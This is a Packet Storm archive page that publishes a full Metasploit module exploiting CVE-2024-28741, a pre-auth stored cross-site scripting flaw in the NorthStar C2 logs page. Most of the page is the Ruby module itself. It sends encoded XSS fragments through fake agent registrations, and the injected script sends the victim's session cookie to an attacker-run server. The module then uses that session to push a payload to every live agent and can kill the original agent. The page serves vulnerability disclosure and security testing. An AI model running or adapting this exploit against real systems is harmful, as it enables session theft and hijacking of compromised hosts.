what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

NorthStar C2 Cross Site Scripting / Code Execution

NorthStar C2 Cross Site Scripting / Code Execution
Posted May 22, 2024
Authored by h00die, chebuya | Site metasploit.com

NorthStar C2, prior to commit 7674a44 on March 11 2024, contains a vulnerability where the logs page is vulnerable to a stored cross site scripting issue. An unauthenticated user can simulate an agent registration to cause the cross site scripting attack and take over a users session. With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts (agents), and kill the original agent. Successfully tested against NorthStar C2 commit e7fdce148b6a81516e8aa5e5e037acd082611f73 running on Ubuntu 22.04. The agent was running on Windows 10 19045.

tags | exploit, xss
systems | linux, windows, ubuntu
advisories | CVE-2024-28741
SHA-256 | e5fdc1eb511aee9e0ced55911325ab4ed7c9efe59d20347fc192d3a17a7fa844

NorthStar C2 Cross Site Scripting / Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(
update_info(
info,
'Name' => 'NorthStar C2 XSS to Agent RCE',
'Description' => %q{
NorthStar C2, prior to commit 7674a44 on March 11 2024, contains a vulnerability where the logs page is
vulnerable to a stored xss.
An unauthenticated user can simulate an agent registration to cause the XSS and take over a users session.
With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts
(agents), and kill the original agent.

Successfully tested against NorthStar C2 commit e7fdce148b6a81516e8aa5e5e037acd082611f73 running on
Ubuntu 22.04. The agent was running on Windows 10 19045.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'chebuya' # original PoC, analysis
],
'DefaultOptions' => {
'URIPATH' => '/' # avoid long URLs due to 20char limit in xss payloads
},
'References' => [
[ 'URL', 'https://blog.chebuya.com/posts/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss/' ],
[ 'URL', 'https://github.com/chebuya/CVE-2024-28741-northstar-agent-rce-poc' ],
[ 'URL', 'https://github.com/EnginDemirbilek/NorthStarC2/commit/7674a4457fca83058a157c03aa7bccd02f4a213c'],
[ 'CVE', '2024-28741']
],
'Platform' => ['win'],
'Privileged' => false,
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2024-03-12',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the NorthStar C2 Application', '/']),
OptBool.new('KILL', [ false, 'Kill the NorthStar C2 agent', false])
]
)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'getin.php'),
'method' => 'GET'
)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

return CheckCode::Detected('NorthStar Login page detected') if res.body.include? '<title>The NorthStar Login</title>'

CheckCode::Safe('NorthStar C2 Login page not detected')
end

def steal_agents(cookie)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'clients.php'),
'headers' => {
'cookie' => "PHPSESSID=#{cookie}"
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
soup = Nokogiri::HTML(res.body)
rows = soup.css('tr')

agent_table = Rex::Text::Table.new(
'Header' => 'Live Agents',
'Indent' => 1,
'Columns' =>
[
'ID',
'IP',
'OS',
'Username',
'Hostname',
'Status'
]
)

rows.each do |row|
cells = row.css('td')
next if cells.length != 9

status = cells[7].text.strip
next if status != 'Online'

agent_id = cells[1].text.strip
agent_ip = cells[2].text.strip
hostname = cells[5].text.strip

agent_table << [agent_id, agent_ip, cells[3].text.strip, cells[4].text.strip, hostname, cells[7].text.strip]
report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "Northstar C2 Agent Deployed, callback: #{datastore['RHOST']}")
end

fail_with(Failure::NotFound, 'No live agents to exploit') if agent_table.rows.empty?

print_good(agent_table.to_s)

script_tags = soup.css('script')

csrf_token = nil
script_tags.each do |script_tag|
if script_tag.text.include?('csrfToken')
csrf_token = script_tag.text.split('"')[1]
break
end
end

fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find CSRF token") unless csrf_token

vprint_good("CSRF Token: #{csrf_token}")

agent_table.rows.each do |agent|
agent_id = agent[0]
hostname = agent[4]
print_status("(#{agent_id}) Stealing #{hostname}")

vprint_status(" (#{agent_id}) Enabling shell mode")
agent_exec(agent_id, csrf_token, cookie, 'enablecmd')
vprint_status(" (#{agent_id}) Running payload")
agent_exec(agent_id, csrf_token, cookie, payload.encoded)
vprint_status(" (#{agent_id}) Disabling shell mode")
agent_exec(agent_id, csrf_token, cookie, 'disablecmd')
next unless datastore['KILL']

vprint_status(" (#{agent_id}) Killing NorthStar payload")
agent_exec(agent_id, csrf_token, cookie, 'die')
end
end

def agent_exec(agent_id, csrf_token, cookie, command)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'functions', 'setCommand.nonfunction.php'),
'method' => 'POST',
'headers' => {
'cookie' => "PHPSESSID=#{cookie}"
},
'vars_post' => {
'slave' => agent_id,
'command' => command,
'sid' => agent_id,
'token' => csrf_token
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?

# 1min seems enough, NorthStar mentions 4_000ms response times...
(2 * 60).times do
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'getresponse.php'),
'headers' => {
'cookie' => "PHPSESSID=#{cookie}"
},
'vars_get' => {
'slave' => agent_id
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if !res.body.empty? || command == 'die'
vprint_good(" Command sent successfully to agent #{agent_id}, response: #{res.body}")
return
end
Rex.sleep(0.5)
end
end

def on_request_uri(cli, request)
if request.method == 'GET' && @xss_response_received == false
vprint_status('Received GET request.')
return unless request.uri.include? '='

cookie = request.uri.split('PHPSESSID=')[1]
print_good("Received cookie: #{cookie}")
send_response_html(cli, '')
@xss_response_received = true
steal_agents(cookie)
end
send_response_html(cli, '')
end

def xor_strings(text, key)
text.chars.map.with_index { |char, i| (char.ord ^ key[i % key.length].ord).chr }.join
end

def srvhost
datastore['SRVHOST']
end

def primer
@xss_response_received = false
vprint_status('Sending XSS')
# divide up the host length so that it fits in our payload
h1 = srvhost[0...srvhost.length / 2]
h2 = srvhost[srvhost.length / 2..]
sid_payloads = ['*/</script><', '*/i.src=u/*', '*/new Image;/*', '*/var i=/*', "*/s+h+p+'/'+c;/*", '*/var u=/*', "*/'http://';/*", '*/var s=/*', "*/':#{datastore['SRVPORT']}';/*", '*/var p=/*', '*/a+b;/*', '*/var h=/*', "*/'#{h2}';/*", '*/var b=/*', "*/'#{h1}';/*", '*/var a=/*', '*/d.cookie;/*', '*/var c=/*', '*/document;/*', '*/var d=/*', '</td><script>/*']
sid_payloads.each do |pload|
pload = "N#{pload}q"
vprint_status("Sending: #{pload}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login.php'),
'method' => 'POST',
'vars_get' => {
'sid' => Rex::Text.encode_base64(xor_strings(pload, 'northstar'))
}
)

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code received: #{res.code}") unless res.code == 200
end
print_status('Waiting on XSS execution')
end

def exploit
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Failure::BadConfig, 'SRVPORT and FETCH_SRVPORT must be different') if datastore['SRVPORT'] == datastore['FETCH_SRVPORT']
super
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close